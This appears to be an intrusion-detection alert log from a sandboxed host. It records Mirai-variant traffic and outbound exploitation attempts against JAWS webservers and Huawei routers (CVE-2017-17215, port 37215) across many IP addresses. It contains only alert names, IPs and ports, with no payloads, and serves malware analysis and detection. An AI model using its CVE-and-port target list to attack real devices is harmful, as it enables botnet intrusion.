2024-12-03T23:17:11.428602+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52612	217.189.104.34	80	TCP
2024-12-03T23:17:11.428602+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52612	217.189.104.34	80	TCP
2024-12-03T23:17:11.497193+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44246	197.128.128.146	37215	TCP
2024-12-03T23:17:11.778295+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45386	197.101.175.187	37215	TCP
2024-12-03T23:17:11.803229+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43480	156.113.104.220	37215	TCP
2024-12-03T23:17:11.887756+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35412	197.99.145.0	37215	TCP
2024-12-03T23:17:11.966520+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44632	156.133.165.115	37215	TCP
2024-12-03T23:17:11.990637+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41216	160.108.6.246	80	TCP
2024-12-03T23:17:11.990637+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41216	160.108.6.246	80	TCP
2024-12-03T23:17:12.021778+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41030	53.125.178.189	80	TCP
2024-12-03T23:17:12.021778+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41030	53.125.178.189	80	TCP
2024-12-03T23:17:12.022027+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60208	194.223.37.30	80	TCP
2024-12-03T23:17:12.022027+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60208	194.223.37.30	80	TCP
2024-12-03T23:17:12.028478+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49248	197.173.204.9	37215	TCP
2024-12-03T23:17:12.037487+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58364	105.92.24.72	80	TCP
2024-12-03T23:17:12.037487+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58364	105.92.24.72	80	TCP
2024-12-03T23:17:12.037585+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41526	13.3.191.55	80	TCP
2024-12-03T23:17:12.037585+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41526	13.3.191.55	80	TCP
2024-12-03T23:17:12.071052+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55748	197.79.45.182	37215	TCP
2024-12-03T23:17:12.086281+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52214	197.168.254.205	37215	TCP
2024-12-03T23:17:12.147458+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35176	41.171.44.196	37215	TCP
2024-12-03T23:17:12.147625+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52614	41.238.72.229	37215	TCP
2024-12-03T23:17:12.418920+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35484	87.101.119.206	80	TCP
2024-12-03T23:17:12.418920+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35484	87.101.119.206	80	TCP
2024-12-03T23:17:12.419161+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47686	166.27.48.146	80	TCP
2024-12-03T23:17:12.419161+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47686	166.27.48.146	80	TCP
2024-12-03T23:17:12.419191+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57674	74.248.70.53	80	TCP
2024-12-03T23:17:12.419191+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57674	74.248.70.53	80	TCP
2024-12-03T23:17:12.419234+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36520	206.218.156.58	80	TCP
2024-12-03T23:17:12.419234+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36520	206.218.156.58	80	TCP
2024-12-03T23:17:12.419306+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41066	107.228.249.17	80	TCP
2024-12-03T23:17:12.419306+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41066	107.228.249.17	80	TCP
2024-12-03T23:17:12.428414+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60984	207.44.6.28	80	TCP
2024-12-03T23:17:12.428414+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60984	207.44.6.28	80	TCP
2024-12-03T23:17:12.459434+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46738	110.74.199.97	80	TCP
2024-12-03T23:17:12.459434+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46738	110.74.199.97	80	TCP
2024-12-03T23:17:12.459554+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33370	168.200.219.64	80	TCP
2024-12-03T23:17:12.459554+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33370	168.200.219.64	80	TCP
2024-12-03T23:17:12.475298+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59832	36.177.131.90	80	TCP
2024-12-03T23:17:12.475298+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59832	36.177.131.90	80	TCP
2024-12-03T23:17:12.475419+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51184	81.193.189.217	80	TCP
2024-12-03T23:17:12.475419+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51184	81.193.189.217	80	TCP
2024-12-03T23:17:12.793929+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50496	197.48.57.207	37215	TCP
2024-12-03T23:17:12.793983+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33936	41.181.27.30	37215	TCP
2024-12-03T23:17:12.794075+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41580	156.196.177.232	37215	TCP
2024-12-03T23:17:12.794180+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39288	197.28.236.190	37215	TCP
2024-12-03T23:17:12.794242+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46372	156.225.40.131	37215	TCP
2024-12-03T23:17:12.825245+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33232	156.48.44.46	37215	TCP
2024-12-03T23:17:12.825442+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37132	41.240.1.22	37215	TCP
2024-12-03T23:17:12.834556+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34430	156.127.13.240	37215	TCP
2024-12-03T23:17:12.834638+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34056	156.79.85.120	37215	TCP
2024-12-03T23:17:12.840909+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37732	197.68.34.74	37215	TCP
2024-12-03T23:17:12.841002+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53062	41.23.152.112	37215	TCP
2024-12-03T23:17:12.841133+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35240	197.81.114.155	37215	TCP
2024-12-03T23:17:12.841301+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45390	41.28.122.113	37215	TCP
2024-12-03T23:17:12.841408+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34144	156.42.173.143	37215	TCP
2024-12-03T23:17:12.841551+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40604	156.153.176.175	37215	TCP
2024-12-03T23:17:12.841719+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56056	197.81.131.1	37215	TCP
2024-12-03T23:17:12.841831+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58986	197.120.27.107	37215	TCP
2024-12-03T23:17:12.850137+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41428	41.118.107.113	37215	TCP
2024-12-03T23:17:12.850232+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33986	156.47.233.200	37215	TCP
2024-12-03T23:17:12.850438+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41480	197.142.95.104	37215	TCP
2024-12-03T23:17:12.850564+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46538	41.199.42.109	37215	TCP
2024-12-03T23:17:12.850704+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46716	197.21.86.41	37215	TCP
2024-12-03T23:17:12.850812+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42006	156.54.52.64	37215	TCP
2024-12-03T23:17:12.850986+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37612	197.3.73.65	37215	TCP
2024-12-03T23:17:12.851076+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51038	197.170.158.13	37215	TCP
2024-12-03T23:17:12.851256+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50508	197.45.230.253	37215	TCP
2024-12-03T23:17:12.851402+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37080	156.2.32.205	37215	TCP
2024-12-03T23:17:13.012752+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52520	156.101.193.95	37215	TCP
2024-12-03T23:17:13.012803+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42332	197.171.142.249	37215	TCP
2024-12-03T23:17:13.012936+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43802	156.7.205.183	37215	TCP
2024-12-03T23:17:13.044014+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43914	156.181.180.180	37215	TCP
2024-12-03T23:17:13.053256+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38650	156.124.6.104	37215	TCP
2024-12-03T23:17:13.053434+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54908	41.50.237.224	37215	TCP
2024-12-03T23:17:13.053700+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39802	156.202.143.176	37215	TCP
2024-12-03T23:17:13.075240+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56700	156.55.85.23	37215	TCP
2024-12-03T23:17:13.084652+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53868	197.175.227.30	37215	TCP
2024-12-03T23:17:13.100668+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33164	156.104.224.250	37215	TCP
2024-12-03T23:17:14.075471+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39030	197.119.32.21	37215	TCP
2024-12-03T23:17:14.090905+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45448	41.65.89.176	37215	TCP
2024-12-03T23:17:14.091001+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44164	41.53.240.91	37215	TCP
2024-12-03T23:17:14.091343+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51536	156.144.180.222	37215	TCP
2024-12-03T23:17:14.100177+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50342	197.186.102.78	37215	TCP
2024-12-03T23:17:14.106678+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53898	41.150.130.73	37215	TCP
2024-12-03T23:17:14.106801+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49936	156.67.180.155	37215	TCP
2024-12-03T23:17:14.106917+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41336	41.211.150.253	37215	TCP
2024-12-03T23:17:14.107024+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39304	156.122.138.23	37215	TCP
2024-12-03T23:17:14.143681+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43094	197.129.180.180	37215	TCP
2024-12-03T23:17:14.147458+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34594	41.197.26.189	37215	TCP
2024-12-03T23:17:14.162714+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55338	41.122.67.190	37215	TCP
2024-12-03T23:17:14.178723+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35226	197.197.150.3	37215	TCP
2024-12-03T23:17:14.178863+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60772	156.97.251.247	37215	TCP
2024-12-03T23:17:14.178970+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48274	156.45.45.252	37215	TCP
2024-12-03T23:17:14.318900+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57228	173.42.62.157	80	TCP
2024-12-03T23:17:14.318900+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57228	173.42.62.157	80	TCP
2024-12-03T23:17:14.418984+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56428	69.10.3.184	80	TCP
2024-12-03T23:17:14.418984+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56428	69.10.3.184	80	TCP
2024-12-03T23:17:14.419301+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40820	176.250.219.218	80	TCP
2024-12-03T23:17:14.419301+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40820	176.250.219.218	80	TCP
2024-12-03T23:17:14.434703+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46348	133.155.42.209	80	TCP
2024-12-03T23:17:14.434703+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46348	133.155.42.209	80	TCP
2024-12-03T23:17:14.466370+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38022	41.75.167.181	80	TCP
2024-12-03T23:17:14.466370+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38022	41.75.167.181	80	TCP
2024-12-03T23:17:14.475054+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59036	125.159.204.221	80	TCP
2024-12-03T23:17:14.475054+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59036	125.159.204.221	80	TCP
2024-12-03T23:17:14.841011+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56642	41.244.31.150	37215	TCP
2024-12-03T23:17:14.850206+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60052	156.191.5.57	37215	TCP
2024-12-03T23:17:14.850311+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47960	156.151.133.165	37215	TCP
2024-12-03T23:17:14.881483+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40938	197.22.3.218	37215	TCP
2024-12-03T23:17:14.950263+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34756	41.5.104.100	37215	TCP
2024-12-03T23:17:14.950459+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56378	41.49.33.245	37215	TCP
2024-12-03T23:17:14.966457+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60136	41.47.204.108	37215	TCP
2024-12-03T23:17:14.966840+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51584	156.87.239.158	37215	TCP
2024-12-03T23:17:14.966842+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40366	41.131.210.92	37215	TCP
2024-12-03T23:17:14.975178+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34606	197.117.181.6	37215	TCP
2024-12-03T23:17:14.975333+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33220	156.151.72.168	37215	TCP
2024-12-03T23:17:14.975467+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55824	156.251.110.116	37215	TCP
2024-12-03T23:17:15.122291+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54336	41.214.171.165	37215	TCP
2024-12-03T23:17:15.150239+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47286	197.213.171.136	37215	TCP
2024-12-03T23:17:15.153306+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35618	41.235.181.100	37215	TCP
2024-12-03T23:17:15.169066+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38810	156.200.241.129	37215	TCP
2024-12-03T23:17:15.209683+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35786	197.16.62.185	37215	TCP
2024-12-03T23:17:15.216104+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55904	41.80.208.217	37215	TCP
2024-12-03T23:17:15.225382+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36524	41.39.127.227	37215	TCP
2024-12-03T23:17:15.262889+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36772	209.190.249.42	80	TCP
2024-12-03T23:17:15.262889+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36772	209.190.249.42	80	TCP
2024-12-03T23:17:15.319181+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41344	98.23.1.12	80	TCP
2024-12-03T23:17:15.319181+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41344	98.23.1.12	80	TCP
2024-12-03T23:17:15.350221+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40432	85.157.24.226	80	TCP
2024-12-03T23:17:15.350221+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40432	85.157.24.226	80	TCP
2024-12-03T23:17:15.958104+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47920	104.94.218.168	80	TCP
2024-12-03T23:17:15.958104+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47920	104.94.218.168	80	TCP
2024-12-03T23:17:16.200614+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44880	197.5.171.9	37215	TCP
2024-12-03T23:17:16.326940+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51128	197.125.253.243	37215	TCP
2024-12-03T23:17:16.340886+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56254	197.238.134.50	37215	TCP
2024-12-03T23:17:16.350096+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49198	197.22.155.143	37215	TCP
2024-12-03T23:17:16.350298+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40414	41.144.60.9	37215	TCP
2024-12-03T23:17:16.366297+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40564	156.76.208.93	37215	TCP
2024-12-03T23:17:16.381422+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46806	197.50.157.0	37215	TCP
2024-12-03T23:17:16.397113+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47480	197.246.98.86	37215	TCP
2024-12-03T23:17:16.544251+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52296	209.218.254.72	80	TCP
2024-12-03T23:17:16.544251+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52296	209.218.254.72	80	TCP
2024-12-03T23:17:16.559667+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60380	205.115.19.189	80	TCP
2024-12-03T23:17:16.559667+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60380	205.115.19.189	80	TCP
2024-12-03T23:17:16.575320+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58502	124.213.253.22	80	TCP
2024-12-03T23:17:16.575320+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58502	124.213.253.22	80	TCP
2024-12-03T23:17:16.575448+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42216	187.217.57.157	80	TCP
2024-12-03T23:17:16.575448+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42216	187.217.57.157	80	TCP
2024-12-03T23:17:16.584548+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45226	199.48.240.26	80	TCP
2024-12-03T23:17:16.584548+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45226	199.48.240.26	80	TCP
2024-12-03T23:17:16.601302+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50780	160.118.116.204	80	TCP
2024-12-03T23:17:16.601302+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50780	160.118.116.204	80	TCP
2024-12-03T23:17:17.341292+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55172	197.20.66.176	37215	TCP
2024-12-03T23:17:17.341532+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43834	42.96.90.150	80	TCP
2024-12-03T23:17:17.341532+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43834	42.96.90.150	80	TCP
2024-12-03T23:17:17.341608+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47178	153.109.96.159	80	TCP
2024-12-03T23:17:17.341608+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47178	153.109.96.159	80	TCP
2024-12-03T23:17:17.372101+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45208	57.118.124.196	80	TCP
2024-12-03T23:17:17.372101+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45208	57.118.124.196	80	TCP
2024-12-03T23:17:17.372218+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51650	168.72.114.103	80	TCP
2024-12-03T23:17:17.372218+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51650	168.72.114.103	80	TCP
2024-12-03T23:17:17.397151+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47928	156.131.124.110	37215	TCP
2024-12-03T23:17:17.419237+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35828	156.95.85.108	37215	TCP
2024-12-03T23:17:17.428638+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34876	67.186.194.136	80	TCP
2024-12-03T23:17:17.428638+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34876	67.186.194.136	80	TCP
2024-12-03T23:17:17.459460+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49004	197.202.167.131	37215	TCP
2024-12-03T23:17:17.583211+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57268	46.149.136.21	80	TCP
2024-12-03T23:17:17.583211+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57268	46.149.136.21	80	TCP
2024-12-03T23:17:17.638108+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38342	156.92.173.159	37215	TCP
2024-12-03T23:17:17.647404+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36380	41.129.69.57	37215	TCP
2024-12-03T23:17:17.662767+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57086	197.72.154.115	37215	TCP
2024-12-03T23:17:17.669296+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51384	41.56.183.22	37215	TCP
2024-12-03T23:17:18.358195+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49128	95.38.48.223	80	TCP
